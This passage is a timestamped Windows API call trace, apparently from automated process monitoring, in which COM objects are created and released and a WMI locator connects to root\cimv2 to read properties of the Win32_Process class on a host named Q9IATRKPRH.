ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0074.369] IUnknown:Release (This=0x111f638) returned 0x1 [0074.371] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1bf63d20) returned 0x0 [0074.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf63d20, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0074.371] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf63d20, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bf6e8a0) returned 0x0 [0074.371] WbemDefPath:IUnknown:Release (This=0x1bf63d20) returned 0x0 [0074.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e8a0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bf6e8a0) returned 0x0 [0074.371] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e8a0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0074.372] WbemDefPath:IUnknown:AddRef (This=0x1bf6e8a0) returned 0x3 [0074.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e8a0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0074.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e8a0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0074.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e8a0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1bf63d60) returned 0x0 [0074.372] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63d60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.372] WbemDefPath:IUnknown:Release (This=0x1bf63d60) returned 0x3 [0074.372] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0074.372] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0074.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e8a0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0074.372] WbemDefPath:IUnknown:Release (This=0x1bf6e8a0) returned 0x2 [0074.372] WbemDefPath:IUnknown:Release (This=0x1bf6e8a0) returned 0x1 [0074.372] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0074.372] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0074.372] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e8a0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bf6e8a0) returned 0x0 [0074.372] WbemDefPath:IUnknown:AddRef (This=0x1bf6e8a0) returned 0x3 [0074.372] WbemDefPath:IUnknown:Release (This=0x1bf6e8a0) returned 0x2 [0074.372] WbemDefPath:IWbemPath:SetText (This=0x1bf6e8a0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0074.372] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0074.373] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0074.373] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.373] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0074.373] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0074.373] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0074.373] IUnknown:Release (This=0x111f638) returned 0x1 [0074.374] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1bf63e60) returned 0x0 [0074.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e60, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0074.374] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bf63e60, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1bf63e80) returned 0x0 [0074.374] WbemLocator:IUnknown:Release (This=0x1bf63e60) returned 0x0 [0074.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e80, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1bf63e80) returned 0x0 [0074.374] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e80, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0074.375] WbemLocator:IUnknown:AddRef (This=0x1bf63e80) returned 0x3 [0074.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e80, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0074.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e80, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0074.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e80, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0074.375] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0074.375] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0074.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e80, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0074.375] WbemLocator:IUnknown:Release (This=0x1bf63e80) returned 0x2 [0074.375] WbemLocator:IUnknown:Release (This=0x1bf63e80) returned 0x1 [0074.375] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0074.375] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0074.375] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf63e80, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf63e80) returned 0x0 [0074.375] WbemLocator:IUnknown:AddRef (This=0x1bf63e80) returned 0x3 [0074.375] WbemLocator:IUnknown:Release (This=0x1bf63e80) returned 0x2 [0074.375] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0074.375] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0074.376] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.376] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1bf63ea0) returned 0x0 [0074.376] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bf63ea0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf62040) returned 0x0 [0074.431] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62040, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11df120) returned 0x0 [0074.431] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11df120, pProxy=0x1bf62040, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0074.431] WbemLocator:IUnknown:Release (This=0x11df120) returned 0x1 [0074.431] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62040, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11df160) returned 0x0 [0074.431] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62040, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11df120) returned 0x0 [0074.431] WbemLocator:IClientSecurity:SetBlanket (This=0x11df120, pProxy=0x1bf62040, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0074.432] WbemLocator:IUnknown:Release (This=0x11df120) returned 0x2 [0074.432] WbemLocator:IUnknown:Release (This=0x11df160) returned 0x1 [0074.432] CoTaskMemFree (pv=0x11f0ad0) [0074.432] WbemLocator:IUnknown:AddRef (This=0x1bf62040) returned 0x2 [0074.432] WbemLocator:IUnknown:Release (This=0x1bf63ea0) returned 0x0 [0074.432] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0074.432] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0074.432] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62040, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11df130) returned 0x0 [0074.432] WbemLocator:IRpcOptions:Query (in: This=0x11df130, pPrx=0x1bf63f00, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0074.433] WbemLocator:IUnknown:Release (This=0x11df130) returned 0x2 [0074.433] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0074.433] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0074.433] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf62040, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf62040) returned 0x0 [0074.433] WbemLocator:IUnknown:Release (This=0x1bf62040) returned 0x2 [0074.433] SysStringLen (param_1=0x0) returned 0x0 [0074.433] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bf6e8a0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0074.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0074.433] WbemDefPath:IWbemPath:GetText (in: This=0x1bf6e8a0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0074.433] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8a8*=0xe, pszText=0x0) returned 0x0 [0074.433] WbemDefPath:IWbemPath:GetText (in: This=0x11692c0, lFlags=2, puBuffLength=0x1b2fd8a8*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b2fd8a8*=0xe, pszText="Win32_Process") returned 0x0 [0074.433] IWbemServices:GetObject (in: This=0x1bf62040, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b2fd6f0*=0x0, ppCallResult=0x0 | out: ppObject=0x1b2fd6f0*=0x11edc20, ppCallResult=0x0) returned 0x0 [0074.437] IWbemClassObject:Get (in: This=0x11edc20, wszName="__PATH", lFlags=0, pVal=0x1b2fd7d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd928*=0, plFlavor=0x1b2fd920*=0 | out: pVal=0x1b2fd7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b2fd928*=8, plFlavor=0x1b2fd920*=64) returned 0x0 [0074.437] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0074.437] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x4a [0074.437] CoGetObjectContext (in: riid=0x28f4798*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd7f8 | out: ppv=0x1b2fd7f8*=0x111f638) returned 0x0 [0074.437] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd7e8 | out: pAptType=0x1b2fd7e8*=1) returned 0x0 [0074.437] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28f4778*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd7f0 | out: ppvObject=0x1b2fd7f0*=0x0) returned 0x80004002 [0074.437] IUnknown:Release (This=0x111f638) returned 0x1 [0074.439] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc10 | out: ppv=0x1b2fcc10*=0x1bf63ea0) returned 0x0 [0074.439] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf63ea0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x0) returned 0x80004002 [0074.440] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bf63ea0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc08 | out: ppvObject=0x1b2fcc08*=0x1bf6e960) returned 0x0 [0074.440] WbemDefPath:IUnknown:Release (This=0x1bf63ea0) returned 0x0 [0074.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e960, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca18 | out: ppvObject=0x1b2fca18*=0x1bf6e960) returned 0x0 [0074.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e960, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcac0 | out: ppvObject=0x1b2fcac0*=0x0) returned 0x80004002 [0074.440] WbemDefPath:IUnknown:AddRef (This=0x1bf6e960) returned 0x3 [0074.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e960, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc168 | out: ppvObject=0x1b2fc168*=0x0) returned 0x80004002 [0074.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e960, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc0f0 | out: ppvObject=0x1b2fc0f0*=0x0) returned 0x80004002 [0074.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e960, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc0e0 | out: ppvObject=0x1b2fc0e0*=0x1bf63ec0) returned 0x0 [0074.440] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bf63ec0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc108 | out: pCid=0x1b2fc108*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0074.440] WbemDefPath:IUnknown:Release (This=0x1bf63ec0) returned 0x3 [0074.440] CoGetContextToken (in: pToken=0x1b2fc190 | out: pToken=0x1b2fc190) returned 0x0 [0074.440] CoGetContextToken (in: pToken=0x1b2fc610 | out: pToken=0x1b2fc610) returned 0x0 [0074.440] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e960, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc6d0 | out: ppvObject=0x1b2fc6d0*=0x0) returned 0x80004002 [0074.441] WbemDefPath:IUnknown:Release (This=0x1bf6e960) returned 0x2 [0074.441] WbemDefPath:IUnknown:Release (This=0x1bf6e960) returned 0x1 [0074.441] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0074.441] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0074.441] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bf6e960, riid=0x1b2fd490*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1bf6e960) returned 0x0 [0074.441] WbemDefPath:IUnknown:AddRef (This=0x1bf6e960) returned 0x3 [0074.441] WbemDefPath:IUnknown:Release (This=0x1bf6e960) returned 0x2 [0074.441] WbemDefPath:IWbemPath:SetText (This=0x1bf6e960, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0074.441] IWbemClassObject:Get (in: This=0x11edc20, wszName="__SERVER", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=0, plFlavor=0x1b2fd9d8*=0 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0074.441] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0074.441] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0074.441] IWbemClassObject:Get (in: This=0x11edc20, wszName="__NAMESPACE", lFlags=0, pVal=0x1b2fd898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64 | out: pVal=0x1b2fd898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1b2fd9e0*=8, plFlavor=0x1b2fd9d8*=64) returned 0x0 [0074.441] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0074.442] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0074.442] IWbemClassObject:Get (in: This=0x11edc20, wszName="__CLASS", lFlags=0, 